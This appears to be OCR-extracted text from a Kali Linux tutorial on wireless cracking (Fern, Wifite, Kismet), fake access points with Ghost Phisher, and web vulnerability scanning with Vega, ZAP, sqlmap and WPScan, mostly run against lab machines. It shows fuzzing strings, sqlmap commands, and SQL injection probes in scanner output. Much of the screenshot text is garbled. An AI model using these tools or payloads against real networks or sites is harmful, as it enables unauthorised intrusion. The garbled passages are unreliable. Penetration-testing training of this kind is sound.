<target> = Host to check (default: localhost)

<port> Port to connect to (default: standard port)

<timeout> = seconds to wait after each test (default: 2 seconds)

use "./bed.pl -s <plugin>" to obtain the parameters you need for the plugin.

Only -s is a mandatory switch.

In this case, we will test the testing machine with IP 192.168.1.102 and the protocol
HTTP.

The command will be “bed —s HTTP -t 192.168.1.102" and testing will continue.
:~# bed -s HTTP -t 192.168.1.102
BED 0.5 by mjm ( www.codito.de ) & eric ( www.snake-basket.de )

+ Buffer overflow testing:
testing:
testing:
testing:
testing:
testing:
testing:
testing:
testing:

+ Formatstring testing:
testing:
testing:
testing:
testing:
testing:
testing:
testing:
testing:

HEAD XAXAX HTTP/1.0
HEAD / XAXAX

GET XAXAX HTTP/1.0
GET / XAXAX

POST XAXAX HTTP/1.0
POST / XAXAX

GET /XAXAX

POST /XAXAX

ONOUT DS WN P~

HEAD XAXAX HTTP/1.0
HEAD / XAXAX

GET XAXAX HTTP/1.0
GET / XAXAX

POST XAXAX HTTP/1.0
POST / XAXAX

GET /XAXAX

POST /XAXAX

O~ U WN —

* Normal tests
+ Buffer overflow testing:
testing:
testing:
testing:
testing:
testing:
testing:
testing:

User-Agent: XAXAX

Host: XAXAX

Accept: XAXAX

Accept-Encoding: XAXAX

Accept-Language: XAXAX

Accept-Charset: XAXAX
XAXAX

NOUTEsWN -~
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4. Kali Linux —Wireless Attacks

In this chapter, we will learn how to use Wi-Fi cracking tools that Kali Linux has
incorporated. However, it is important that the wireless card that you has a support
monitoring mode.

Fermn Wifi Cracker

Fern Wifi cracker is one of the tools that Kali has to crack wireless.

Before opening Fern, we should turn the wireless card into monitoring mode. To do this,
Type “airmon-ng start wlan-0" in the terminal.

root@kali: ~

File Edit View Search Terminal Help

‘~# airmon-ng start wlanb

Found 2 processes t could cause Trouble.
If airodump-ng, &ir Yy -Na - airtun-ng ps working after
a short period of tim you may want y Kill (some of) them!

Mame
NetworkManager
wpa_supplicant
Interface Chipset Driver

wlan® Intel 2230 iwlwifi - [phvE@]
(monitor mode enabled on monQ)

Now, open Fern Wireless Cracker.

Step 1: Applications -> Click “Wireless Attacks” -> “Fern Wireless Cracker”.
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Step 2: Select the Wireless card as shown in the following screenshot.

Fern WIFI Cracker

2| | £ Refresh

Monitor Mode Enabled on monQ

) Scan for Access points

@ WEP Detection Status
"‘“ Fi) wea Detection Status

Fern WIFI Cracker 1.8

Unable to chack for updates.network timeout
| D |

Python Version: 2 7.3 default
Aircrack Version: Aircrack-ng 1.1 - (C)

Qt Versiort 4.9.3 g] ToolBox

About Fern WIFI Cracker
GUI suite for wireless ercryption strength testing of 802,11 wireless encryption standard access points

! !Keybatabase No Key Entries

Written by Saviour Emmanuel Ekiko Report Bugs at : savicboyz@rocketmail.com
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Step 3: Click “Scan for Access Points”.

<

e e G

Maritor Mode Bratled on mond

‘ ((?)) ’ Scan for Access points

Fi WET Detection Status
Fern WIFI Cnckor‘l.9 A Fi WA Detection Status
Uratle to ded for update s, retwork timeout
Key Database No Key Bvtries
Pythen Version: 2.7.3 default
Aircratk Version: Aircradiong 1.2 tetald
Ot Version: 4.9.3 ’ ToolBox

About Fern WIFI Cracker

QU suite for wireless encryption strength testing of 302,11 wireless encryption standard access paints

Wiitten by Savicur Emearuel Siko Report Bugs at @ savioboyz @ rodietmail .com
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Step 4: After finishing the scan, it will show all the wireless networks found. In this case,
only "WPA networks” was found.

“ wlar0 S s Refresh
Monitor Mode Brabled on mon
o o
\\”I) Astive
11 —
’-l Nae Detecte
"1 .
18 C cted
Fern WIFI Cracker 1.9 Fil wea | mhect
Uratle to ched for update s retwotk timecut
It ' | Key Datadase No Key Entries
Python Version: 2.7.3 default
Aircradk Version: Aircradiong 1.2 betad r.’
Ot Version: 4.9 .3 AE): / Toolgox
About Fern WIFI Cracker
QU suite for wireless encryption strength testing of 802,11 wireless encryption standard access pants
Written by Savicur Emmacuel Biko Report Bugs at : savioboyz @ rodketmail .com

Step 5: Click WPA networks as shown in the above screenshot. It shows all the wireless
found. Generally, in WPA networks, it performs Dictionary attacks as such.

Step 6: Click "Browse” and find the wordlist to use for attack.

Handshak
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Step 7: Click “"Wifi Attack”.

Attack Panel |

belect Target Access Pant
@] [D)] (©) ) )
[ 1 E S N
) )
(A

Step 8: After finishing the dictionary attack, it found the password and it will show as
depicted in the following screenshot picture.

Adminl23

A Encryptian
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Kismet

Kismet is a WIFI network analyzing tool. It is a 802.11 layer-2 wireless network detector,
sniffer, and intrusion detection system. It will work with any wireless card that supports
raw monitoring (rfmon) mode, and can sniff 802.11a/b/g/n traffic. It identifies the
networks by collecting packets and also hidden networks.

To use it, turn the wireless card into monitoring mode and to do this, type “airmon-ng
start wlan-0" in the terminal.

root@kali: ~

File Edit View Search Terminal Help
‘(~# airmon-ng start wlan0

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to Kill (some of) them!

Mame
NetworkManager
wpa_supplicant

Interface > : Driver

wlan@ ntel 2230 iwlwifi - [phv@]
(monitor mode enabled on monQ)

Let’s learn how to use this tool.

Step 1: To launch it, open terminal and type “kismet”.

root@kall: «
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Step 2: Click “OK".

Klanet Sort Yiew Mindows

Step 3: Click “Yes” when it asks to start Kismet Server. Otherwise it will stop functioning.

Step 4: Startup Options, leave as default. Click “Start”.
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Step 5: Now it will show a table asking you to define the wireless card. In such case, click
Yes.

root@kali: ~ @0
File Edit View Search Terminal Help
£
@ ERROR: Could not open OUI file '/ anuf': No such file or directory
open OUI file '/usr/share/wi ark/wireshark/manuf': No

file '/usr/share/wireshark/manuf
g manufacturer db

eted ind ng manufacturer db, 27350 lines 547 inde
ating network tracker..
0: atin
INFD: Registe

[ Yes |
INFO: Kis gather packets
INFO: o]l lefined. You MUST ADD SOME using the Kismet

Lacing them in the Kismet config file

INFO: . o : 7.0.0.1

Step 6: In this case, the wireless source is “wlan0”. It will have to be written in the
section “"Intf” -> click “Add".

=

manufac
ng manutacturer db, 27350 lines 547 ind

Intf
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Step 7: It will start sniffing the wifi networks as shown in the following screenshot.

Kinawt Soet Yiew Windows

Step 8: Click on any network, it produces the wireless details as shown in the following
screenshot.

Fis £81 View Sawon Temasl  Halp

35

w tutorialspoint

EIMPLYEAEGEYLEARNING



Kali Linux

GISKismet

GISKismet is a wireless visualization tool to represent data gathered using Kismet in a
practical way. GISKismet stores the information in a database so we can query data and
generate graphs using SQL. GISKismet currently uses SQLite for the database and
GoogleEarth / KML files for graphing.

Let’s learn how to use this tool.

Step 1: To open GISKismet, go to: Applications -> Click “"Wireless Attacks” -> giskismet.

Usual applications

As you remember in the previous section, we used Kismet tool to explore data about
wireless networks and all this data Kismet packs in netXML files.
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Step 2: To import this file into Giskismet, type “root@kali:~# giskismet -x Kismet-
filename.netxml!” and it will start importing the files.

( # glsklsmet - l 28118221-88 T4 ml
hecking Database for i Be:86:25: 2 : added
king Database for BSE S ¢ | 4 added
king Database for BSSID: 38 : 8D : H4: added
king Database for BS5S 2k =B . added
king Database for i $311S 7:2E:92 added
king Database for B s :12:81:1C:58: 7¢ added
king Database for BSSID: 3 #:33:8 added
king Database for B :13: ) ) ' added
king Database for ) $13: 3 B:FB added
king Database for B s 3 L o added
king Database for BSSID: IF: B3 47 .. added
king Database for BS5S o L 3: 9 £ ) added
king Database for J - £ added
king Database for SILD: : 18 3:08:47:8 added
king Database for BSSID: 3 g c YA added
king Database for B : : 3t nd added
king Database for i 8 ) 'D: added
king Database for 3 1C:B : added
king Databasze for B

king Database for

king Database for

king Database for : 3 bH b1 added
king Database for BSSID: B ‘ES Fl: added
king Database for BSSID: t1E:ES: DC added
king Database for 255 added
king Database for 3 22 : ] added
king Database for BSSID: 2:D2: added
king Database for B 4 - added
king Database for 141 Hy: 22 4« added
king Database for 3 added
king Database for BSSID: 3 ! y: 52 3 added
king Database for BS5S / 16 added
king Database for J : 143:F8: E0 added
king Database for SILD: A: - added
king Database for BSSID: 3 ! J 92: added
king Database for B 26: 1 BA: 3 added
king Database for i 6:F2:F4:47 added
king Database for

king Database for

king Database for

hecking Database for

Once imported, we can import them to Google Earth the Hotspots that we found before.
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Step 3: Assuming that we have already installed Google Earth, we click File ->Open File
that Giskismet created -> Click “"Open”.

’ Eile Edt View Tools Add Help
v Search

FiyTo | Fing Businesses | Directions

Fiyto

Lookin: I froot
Computer -

v Places

® & My Placss

(S -
% {88 varelass-map
%D siohtseeing Tour AL

B aiskosmet

& Temporary Places

v Layers Earth Galle
N Primary Database File name " :
e e yskismel

and Labels ile pame: | rskismel @

Files of type | Google Eanh [ * kml* kmz * ata " ini) *| X Cancel

== Road
¢ JKin)
> 2011 Europa Technologies —~
US Dept of State Geographer (vk‘()({l(’
2011 MapLink/Tele Atlas <
2011 Google
25°00'00.00" N _40°00°00.00" W elov -4836 m Evo alt 26479.21 km

The following map will be displayed.

Bile Eat View Tools Add Help

v Search

FryTo | Fing Businesses | Directions. |

Fiyto

[l » Q

v Places
X6 My Pla
XD gioh

eaina Tour

¥ & Temporary Places
-

D'
v Layers Earth Gallery »
¥ Prnmary Database -
¢ ® ¥ Borders and Labels
% B Places

%X = photos

= Roads

£ 3D Buildings
“& Ocean

£ Weather

& Ccavan
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Ghost Phisher

Ghost Phisher is a popular tool that helps to create fake wireless access points and then
later to create Man-in-The-Middle-Attack.

Step 1: To open it, click Applications -> Wireless Attacks -> “ghost phishing”.

ol

Applications aces sun 07:07
f—

Favorites aircrack-ng

01 - Information Gathering
chirp
02 - Vulnerability Analysis
03 - Web Application Analysis cowpatty
Database Assessment 2 A
fern wifl cr.
5 - Password Attacks

Wireless Attacks ghest phis

- Reverse Enginearing giskismet

Exploitation Tools
kismet
09 - Sniffing & Spoofing

10 - Post Exploitation mdk3

11 - Forensics s

12 - Reporting Tools
mfterm
13 - Soclal Engineering Tools

14 - System Services pixiewps

Usual applications
PF reaver

wifite

Step 2: After opening it, we will set up the fake AP using the following details.

e Wireless Interface Input: wlan0

e SSID: wireless AP name

e IP address: IP that the AP will have

e WAP: Password that will have this SSID to connect
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V1.64
FarAressTort | FaeDNS Sever Pk DEKP Serwmr | FasHTTP Seraw  GROST Tiap  Sewwon Hipcking  ARF Gaove Fosoong  Harvested Credentials  Adow
Access Point Detalls
Aces Pore Name Cranrel ¥ adress Mac Adoress
Wireless interface
wianD v Refownh Cant La2
Carrent Interface y Muc Adcress S2a N7 Drver: tromey Mosstor
#cess Point Settings
S0 =7 Copptagraphy
(s, S— . ® v v ee—
et - I
Suatus
Cocrecsons:
Stat

Step 3: Click the Start button.

Wifite

It is another wireless clacking tool, which attacks multiple WEP, WPA, and WPS encrypted
networks in a row.

Firstly, the wireless card has to be in the monitoring mode.

Step 1: To open it, go to Applications ->Wireless Attack -> Wifite.
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Applications « Places =

Favorites

01 - Information Gathering
02 - Vulnerability Analysis
03 - Web Application Analysis
04 - Database Assessment
05 - Password Attacks

06 - Wireless Attacks

07 - Reverse Engineering
08 - Exploltation Tools

09 - Sniffing & Spoofing

10 - Post Exploitation

11 - Forensics

12 - Reporting Tools

13 - Soclal Engineering Tools
14 - System Services

Usual applications

Sun 09:46

alrerack-ng
chirp
cowpatty
fern wifi cr...
ghost phis...
giskismet

i

mdk3

mfoc
mfterm

pixiewps

reaver / Z
.
wifite ?%;/

0
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CLIENT
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5. Kali Linux — Website Penetration Testing

In this chapter, we will learn about website penetration testing offered by Kali Linux.

Vega Usage

Vega is a free and open source scanner and testing platform to test the security of web
applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting
(XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written
in Java, GUI based, and runs on Linux, OS X, and Windows.

Vega includes an automated scanner for quick tests and an intercepting proxy for tactical
inspection. Vega can be extended using a powerful API in the language of the web:
JavaScript. The official webpage is https://subgraph.com/vega/

0 upgraded, 0 newly installed, 0 to remove and @ not upgraded.
:~# apt-get update && apt-get install -y vega

0% [Connecting to http.kali.orglfj

Step 1: To open Vega go to Applications -> 03-Web Application Analysis ->Vega

Applications « Places = Wed 04:40

Favorites burpsuite

Information Gathering

commix
2 = Vulnerability Analysis

- Web Application Analysis (e . | httrack

D4 - Database Assessment \
owasp-zap
Password Attacks
paros
Wireless Attacks P
7 - Reverse Engineering skipfish
- Exploitation Tools .
Il sqlmap
- Sniffing & Spoofing

Post Exploitation vega

Forensics

w3af
- Reporting Tools

webscarab
- Soclal Engineering Tools

14 - System Services wpscan

Usual applications

Step 2: If you don't see an application in the path, type the following command.

0 upgraded, 0 newly installed, 0 to remove and @ not upgraded.
:~# apt-get update && apt-get install -y vega

0% [Connecting to http.kali.org]l
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Step 3: To start a scan, click “+” sign.

Applications ¥ Places v [ Vega v Sat 15:50
Subgraph Vega
File Scan Window Help
@ P

& Website View = 0O |/@ Scan Info

he&®aEE
@ Scan Alerts =f Scan Alert Summary

® 0 & E
0

Step 4: Enter the webpage URL that will be scanned. In this case, it is metasploitable
machine -> click ™ Next".

SETeTr a 5TAIT 1arget

Choose a target for new scan @ VEGA

Scan Target

*) Enter a base URI for scan:

192.168.1.101/dvwa|

Choose a target scope for scan

Web Model
v
|
Next > Cancel Finish
44
- L] -
) tutorialspoint
EIMPLYEASYLEARNING



Kali Linux

Step 5: Check all the boxes of the modules you want to be controlled. Then, click "Next”.

Select Modules

Choose which scanner modules to enable for this scan VEGA

Select modules to run:

= Injection Modules

¥ Bash Environment Variable Blind OS Injection (CVE-2014-6171, CVE-2014-6278)
o HTTP Trace Probes

Format String Injection Checks
¥ Cross Domain Policy Auditor

o XML Injection checks

» Eval Code Injection
| Blind XPath Injection Checks
N » Blind SGL Text Injaction Dfferential Checks

o XSS injection checks
¥ Local File Include Checks

Integer Overflow Injection Checks

< Back Next > Cancel Finish

Step 6: Click “Next” again in the following screenshot.

Authentication Options

Configure cookies and authentication identity to use during VEGA

scan

Identity to scan site as:

Set-Cookie or Set-Cookie2 value:

Add cookie

Remove selected cookie(s)

< Back Next > Cancel Finish
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Step 7: Click “Finish”.

Parameters

Exclude Parameters

™ Exclude listed parameters from scan

—-viewstate

csrftoken

anticsrf

—-eventtarget
—-viewstateencrypted
xsrftoken
—-eventargument
——eventvalidation

csrfmiddlewaretoken

< Back Nex Cancel

A~

Add names of parameters to avoid fuzzing during scan @ VEGA

Finish

Step 8: If the following table pops up, click “Yes”.

L

- |~ C iy 4+

P~ Target address http://192.168.1.101/dvwa redirects to address
0 http://192.168.1.101/dvwa/login.php

No

Would you like to add http://192.168.1.101/dvwa/login.php to the scope?

Yes

tutorialspoint
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The scan will continue as shown in the following screenshot.

File Scan Window Help
@0 = OScanner & Proxy
@ Website View =0 @ Scan Info =1

e e®iasaEB

- @ 1921681101
e VEGA

Scanner Progress

@ O 102272016 15:54:02 [Auditing]

@ hipi//192.168,1.101 (23)
© High (3)

I # Cleartext Password over

http: /192,168, 1. 101 /dvwa/dvw afincludes/dvwaPhplds
17 out of 29 scanned (58.6%)

% Session Coolde Without K
*5 Cookie Without §
e ~ 7 Scan Alert Summary
© Medium (7)

~ °Low (8) Ag Identities &2 2 =T
0O info (7)

Step 9: After the scan is completed, on the left down panel you can see all the findings,
that are categorized according to the severity. If you click it, you will see all the details of
the vulnerabilities on the right panel such as “Request”, “Discussion”, “Impact”, and
"Remediation”.

2 Website View = || Scan Info =11 )
= P AT A GLANCE
e @S 8= A
Classification Environment
@ 1922681201 Resource Jdvwaflogin.php
@ Risk [High]

]i HI I -
b REQUEST

® 0 i GET (dvwallogin.php

© 10/22/2016 15:54:02 [Complet
P DISCUSSION
@ http://192.168.1.101 (23)

Vega detectad a form with a password input freld that submits to an insecure (HTTF) target

© High {3) Password valuas should never be sent In the clesr across Insecurs chamnals, This
erabilty could result In unauthoreed disclosure of passwords to passive network

vuin
Cleartext Password ove attackers

% Session Cookie Without

P IMPACT
* Session Cookie Without
» Vega has detected a form that can cause a password submission over an insecure
O Medum (7) channel,
" This could result in declosure of passwords to network eavesdrappers.
- @ Low (8)
- @mio (7)
P REMEDIATION
» Passwords should never be sent over cleartext. The form should submit to an HTTPS N
target
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ZapProxy

ZAP-OWASP Zed Attack Proxy is an easy-to-use integrated penetration testing tool for
finding vulnerabilities in web applications. It is a Java interface.

Step 1: To open ZapProxy, go to Applications -> 03-Web Application Analysis -> owasp-
zap.

burpsuite

Gatherning

Analysis

I OWASP ZAF 000
NEM ZAP : Licensed under the Apache License, Version 2.0.

R For tha ather lbraries induded in ZAP, please refer to respectng licenses of the Abeanss anclosad with this packags

sthe defend, and hold each Contributar harmi .
"L p incurred by laims asserted against, s by reasen r
R & of your acceapting any such warranty or acddn Iabiity
18" END OF TERMS AND CONDITONS
APPENDIC How Lo spply the Apsche Licanss Lo your work
gy
inat To appdy the Apache Lcense 10 your work, attach tha fallosing
PR botlerpiate notice, with the fields erx ed by brackets "|}*
ixd r own identitying irdorr in Don't nckude
OF t should be enc d In the appropeiate
AT file format. Wa also recammand that &
e jescription of purpcse be iIntluded on the
X q same “printed pago s the right notice for easier
ry idernification withen third-pany archyes
Copyright fyay] [name af copyrghe awner
f . icensad under the Apa Ucense, Version 2.0 (the “Ucense’k
» se this file pt n compliance wth the LUcenze
& btan & copy of the Ucenss at
B
nttp:dfaww. apache.arglicensesAICENSE-2.0
Unless raquired by spplicable law or agreed to n witing, scftware -
Jistnbuted under the Ucense |1 distributed on an “AS 15° BASIS
W ST WARRANTIES ND S OF ANY KIND, efther express or impled
Ses the Licensa for the specific IRNgUage goveming parmissans and
imitations under the License g/
v
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ZAP will start to load.

ST,RUNNING,MULTICAST> mtu 1
broadcas
(len 64
(Ethernet)
OWASP ZAP

EOWASP ZAP

2.4.3

ZAP Tips and Tricks:

Save your ZAP session at the start of a test rather than at
the end - the session is stored in a db which will be updated

=G all of the time so you wont have to save it again.

ned pattern. “i 2
INFO: loaded filter Replace HTTP response body using defin
ed pattern.
INFO: loaded filter Replace HTTP response header using def
ined pattern.
INFO: loaded filter Send ZAP session request ID | ‘
v

Step 3: Choose one of the Options from as shown in the following screenshot and click “Start”.

File Edit View Analyse Report Tools Online Help

(StandardMode ) | | B W f @ S @ 080 OO0 &4 ) ©P PO ¥ Emm |

@ sites | = _[ " Quick Start # T = RequestT Responses= | ==
ezas [ '
Welcome to the OWASP Zed Attack

v (5 Contexts
[Z] Default Context ZAP is an easy to use integrated penetration testing tool for finding vulner

OWASP ZAP @ )ns that you have be

Do you want to persist the ZAP Session? press 'Attack’.

() Yes, | want to persist this session with name based on the current timestamp
R ——

(U Yes, | want to persist this session but | want to specify the name and location |

I () No, | do not want to persist this session at this moment in time I F

[_J Remember my choice and do not ask me again,

You can always change your decision via the Options / Database screen | ']‘

»
= History | Oy ses L HePP | I =i |

@ @ | Filter:OFF

|1d | Req. Times... | Met... | URL |C... |Reason |... |Size Resp... | Highes... | N.., | Tags 1@

|a|

|

i

v/

| Alerts W0 M0 o MO Current Scans 4w 0 &0 2 0 @0 %0 , 0 %o0]
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Following web is metasploitable with IP :192.168.1.101

( (9] $33,558.1.901 w = ¥ g

Step 4: Enter URL of the testing web at "URL to attack” -> click “Attack”.

Untitled Session - OWASP ZAP 2.4.3 (- Jc <)
File Edit View Analyse Report Tools Online Help

[StandardMode jw) | E M 2 i A2 G885 OO0 & ¢ @ b O X E R @E ]

@ sites | == _[ " Quick Start IT =y Request I Response¢= | == I

CES 3

v (5 Contexts Welcome to the OWASP Zed Attack
(€] Default Context ZAP is an easy to use integrated penetration testing tool for finding vulner

» @ P sites

Please be aware that you should only attack applications that you have be

To quickly test an application, enter its URL below and press 'Attack’,

URL to attack: http://192.168.1.101/dvwa
| #atack | Ostop |
Progress: Actively scanning (attacking) the URLs discovere
¥
BAS o T

[ # History | S search | ¥ alerts | | | output | % Spider [ 2 Active Scan # % | 4 |
) New Scan « Progress: | 0: http://192.168.1.101/dvwa |¥| (] [] BB 7% «' Current Scans:1|Num requests: 0 o

Id |Req. Timest... | Resp. Time... | Met... | URL | C... |Reason | ... |Size Resp. ... | Size Resp... @i
26 20/10/161.. 20/10/161... POST http://192.168.1.101/dvwa/logi... 200 OK ... 382 bytes 1.26 KiB }A
27 20/10/161.. 20/10/161... POST http://192.168.1,101/dvwa/logi... 200 OK ... 382 bytes 1.26 KiB
28 20/10/161... 20/10/161... POST http://192.168.1.101/dvwa/logi... 200 OK ... 382 bytes 1.26 KiB
29 20/10/161.. 20/10/161... POST http://192.168.1.101/dvwa/logi... 200 OK .. 360 bytes 1.26 KiB
30 20/10/161.. 20/10/161... POST http://192.168.1.101/dvwa/logi... 200 OK ... 360 bytes 1.26 KiB
31 20/10/161.. 20/10/161... POST http://192.168.1,101/dvwa/logi... 200 OK ... 360 bytes 1.26 KiB 'l

Alerts M0 U1 (4 MO Current Scans 440 &0 21 @0 #o , 0 0|

After the scan is completed, on the top left panel you will see all the crawled sites.

50

@ tutorialspoint

EIMPLYEAEGEYLEARNING



Kali Linux

In the left panel “Alerts”, you will see all the findings along with the description.

= —
- ]

™ W GET:robots.ta
N W GET:sftemap.xml

| Standard Mode ) Humrg S T S8 &, @R PORXERE »
- — - e
J 1+ | J 4 Quick Start # | = Request | Respansase [1- |
@ e 3
v 5 Contemts Welcome to the OWASP Zed Attack Proxy (ZAP
% Dafauk Contest ZAP |5 an easy Lo use Integrated penetration testing tool for inding vunerabilties in web applicstia
B Ak
v M http/192.168.1.101 Mleass be saare that you should enly sttack applications that you have been specifically been gver
" GETidvan

To quickly test an spplication, enter g3 URL below and press “Attack’

URL to sttack http:7152.168 1 101/dvaa

v = % dwa
i W GETloginphe ¥ Attack | St
v ™~ v oS g T A %
'.'c::“ Frogress Attack complete - sea the Alarts tab for detads of any Issues found
i (33
# GET:css
i* % POSTlogn phpilognpasswordusam)  coc o ove o depth test you should explors your application using your browser or automated regre
N GET. dvwe
¥ you wre using Firefox 24,0 or Iater you <an use ‘Plugn-Hack’ 10 configure your browsan
|\ Vd J9 |- L= - LIS
. — Y r—
[ == History | &, searcn [[Palsas 2] | owpue | # spider | A Active scan | 4
g e X-Frame-Options Header Not Set
Y (@ Nerts (8) hnp ulO" 148 1 lOlfM:.'loqtr php
* (@ ™ Directory Brawsing (2) 3 “ Madium
GET: hitp: /192 166.1, 101 Mvwaldvwal Confidance Medium
1 GET: http:¥192.168. 1.1 03 Mhvwaldvwarcs sl o vt bali
- +'] J ) =1 als
¥ & ™ X-Frame-Options Haader Not Set {5) ERCHPMIN. . VIinerRasity
GET) httpy192.168,1,1 02 idvwa o
(.Cl hip192 168 1.10) rhvwaidvwalcsaflogin, ¢s o

_| GET: http:/192.16E.1.1 02 robots tat
| GET: http:192 168.1.1 02 fsitermap i

*

X-Frama-Optiors headar 1§ not mcludad in the HTTP responsa Lo protect against

Step 5: Click “Spider” and you will see all the links scanned.

RS 7 Trl e

[ mistory | 5 search | M alents Ompul )\ Acthe Scan [+ |

altn-sﬂn onqr-u,e prllwzlﬁelmlldmalj inm

7

W Current Scans: 0 | URis Found: 8

Fr«essed Mnhoc ("] Floqs
- GET http: i1 $2.168.1,1 01 idwa SEED
= GET http: 112,168,110 robots.ba SEED
- GET http: /1521 63.1,1 01 /sitemmp. vml SEED
- GET httpi 1 62.163.1.100 idwwal
- GET http: /11 92,1 68,1,1 01 /dwatogn.php
= GET http:/1 62,1 64.1,1 01 /dvwaldvwalcssitogin. ces
- GET http: /1 52,1 68,11 0) idwwaldwwaimages/login_logo.png
o GET http:l W.lr.a.l,lol”wﬂdvnﬂmagouhnoomsmm

Database Tools Usage

sqlmap

sqlmap is an open source penetration testing tool that automates the process of detecting
and exploiting SQL injection flaws and taking over of database servers. It comes with a
powerful detection engine, many niche features for the ultimate penetration tester and a
broad range of switches lasting from database fingerprinting, over data fetching from the
database, to accessing the underlying file system and executing commands on the

operating system via out-of-band connections.

Let’s learn how to use sglmap.
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Step 1:To open sglmap, go to Applications -> 04-Database Assessment -> sglmap.

Applications ¥ Places v Sat 16:51

Favorites ™ bbqsql

01 - Information Gathering
s~ hexorbase
02 - Vulnerability Analysis

03 - Web Application Analysis ;, Jsal
04 - Database Assessment mdb-sql
05 - Password Attacks

a
06 - Wireless Attacks SECEPNh

07 - Reverse Engineering sidguesser
08 - Exploitation Tools

sqldict
09 - Sniffing & Spoofing

10 - Post Exploitation SQlLite dat...

ls
i sqlmap

11 - Forensics

12 - Reporting Tools
sqlninja

13 - Social Engineering Tools

14 - System Services 2 sqlsus

Usual applications tnscmd10g

A

@y Mutillidae: Born to be Hacked

Mints: Disabled (0 -1 try hardes]  Not Logged In
Topghe Socuity  Reset DR View Log  View Geptuced Data

Version: 2110 Security Level: 0 [Hosad)
e Login/Hogister Togole thnrs

View your details

OWASH Top 10

Doscumenstation

Please enter username and password

. toviewsccountdetsts =
Name
Password
| View Avzount Detats
Doy have an account? Haase rogisior herny

Site
hacked e quality.

ms“::.";m [ B Error: Fallure is always an option and this situation proves it
Firefox, Burp-Suite, Line 120
and thesn Code 0
Wozilla Asd-one ‘
File VRCww mutifidasdusec-inlo phe
= Mes Froe a::'-.': :rn m‘nlu*.‘ Y‘ » have an r«lr.-l ::1“\:." SQ1 '.y.n!:lx.r‘m.-(x e manusd that corresponds 10 your MySQOL serves

Step 2: To start the sql injection testing, type “sqlmap - u URL of victim”

SEee JULL LiSL O OpLLONsS r1urlt witirn =[n
:~# sqlmap -u http://192.168.1.101/mutillidae/index.php?page=user-info.

php&use rname=%27&passwo rd= ubmit -b tton;View+Account+DetailsI

Zy= i cimw-iRiual a2 < [ YOTES VT
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Step 3: From the results, you will see that some variable are vulnerable.

I[17:06:32] [WARNING] heuristic (basic) test shows that GET parameter 'page’' migh
[t not be injectable

[17:06:32] [INFO] heuristic (XSS) test shows that GET parameter 'page' might be
vulnerable to XSS attacks

=1 [T r~y

sqglninja

sglninja is a SQL Injection on Microsoft SQL Server to a full GUI access. sqlninja is a tool
targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft
SQL Server as its back-end. Full information regarding this tool can be found on
http://sglninja.sourceforge.net/

Step 1: To open sqglninja go to Applications -> 04-Database Assesment -> sqlninja.

Applications « Places v  [Z] Terminal =

Favorites == bbqsql

01 - Information Gathering
hexorbase

%

02 - Vulnerabllity Analysis

- Web Application Analysis Jsql

©

Database Assessment

mdb-sql
- Password Attacks

oscanner
Wireless Attacks

table
a not Injectable, Try to
ts, Also, you can try to r
sqldict tring' (or )
anism inv

tampe r=s

- Reverse Engineering sidquesser
Exploltation Tools
Sniffing & Spoofing

- Post Exploitation SQlite dat...

- Forensics

AWMU LON

sqlmap
- Reporting Tools W .1.101/mutillidae/index .ph
sqlninja

13 - Social Engineering Tools

14 - System Services sqlsus

tnscmd10g %///////%%,////

Usual applications
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CMS Scanning Tools

WPScan

WPScan is a black box WordPress vulnerability scanner that can be used to scan remote
WordPress installations to find security issues.

Step 1: To open WPscan go to Applications -> 03-Web Application Analysis -> “wpscan”.

pplications ¥ Places v Terminal v Sat 16:01

Favorites burpsuite

01 - Information Gathering

commix

02 - Vulnerability Analysis th user-supplied one

x TR : =T k - .
03 - Web Application Analysis httrac iL L okabb {AHLL TRIAEES amd64 Package

04 - Database Assessment
owasp-zap

05 - Password Attacks tion: invalid HOST:POR

06 - Wireless Attacks BEET

07 - Reverse Engineering skipfish g=1 tt1=249 time=8.80

08 - Exploitation Tools

sqlmap
09 - Sniffing & Spoofing
10 - Post Exploitation NEgS d.
e amd64 vega a
11 - Forensics o w3af ception: [Errno 99] Ca

12 - Reporting Tools

webscarab
13 - Social Engineering Tools
14 - System Services wpscan

Usual applications

The following screenshot pops up.

root@kall: ~ 0O

File Edit View Search Terminal Help

!/ [

! /|

Lot |

/|
=

(

\

WordPress Security & 3 by the WPScan Team
Ve
Sponsored by Sucur https://sucuri .net
a WPScan_, @ethicalhack3r, @erwan_Llr, pvdl, @ FireFart_

/

| e
|
|

Ha'lp
Some values are settable in a config file, see the example.conf.json

up Update to the database to the latest version
5 -l | -u =target url= Thae WordP1 s URL/domain to scan,

force | f Forces WRPScan to not check if the remote sit

running WordPress
--anumarate | _-o [option(s Enumeration.
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4

Step 2: To scan a website for vulnerabilities, type "wpscan —u URL of webpage”.

If the scanner is not updated, it will ask you to update. I will recommend to do it.

:~# wpscan -u itsolution.support

WordPress Security Scanner by the WPScan Team
Version 2.9
Sponsored by Sucuri - https://sucuri.net
@ WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @ FireFart

It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o [Albort, default: [N]y

Once the scan starts, you will see the findings. In the following screenshot, vulnerabilities
are indicated by a red arrow.
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Joomscan

Joomla is probably the most widely-used CMS out there due to its flexibility. For this CMS,
itis a Joomla scanner. It will help web developers and web masters to help identify possible
security weaknesses on their deployed Joomla sites.

Step 1: To open it, just click the left panel at the terminal, then “joomscan -
parameter”

Step 2: To get help for the usage type “joomscan /?”

:~# joomscan /7

Step 3: To start the scan, type ™ joomscan —u URL of the victim”.

:~# joomscan -u
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Results will be displayed as shown in the following screenshot.

Fiie Ot ViEwW Search Terminal Help
Vulnerabilities Discovered

has not been renamed.

e .htaccess are not available, so exploit
ing is mor
Vulnerable?

Unprotected Administrator directory
Any
nistrator/
» default /administrator directory is det i. Attackers can brutefo
accounts. Read: = ¢
ROTECT .pdf

15,16,17,18,19,20,21,22,23,24,25,26,27,2 30%20Trom%20j os_users- -
Julnerable? No

ponent com_searchlog SOQL Injection

C <: /& 1S iTO dex.php?option=com_searchlog&act=log
Exploit x .php?option=com_searchlog&act=log

-> Component: Joomla Component com djartgallery Multiple Vulnerabilities
ons Affected: 0.9.1 <« -
administrator/index.php?option=com djartgallery&task=edititem&cid[]=1"'+a
nd+l=1+--+
Exploit: /administrator/index.php?option=com_djartgallery&dtask=editItem&cid[]=1
+and+1=1+4+--+

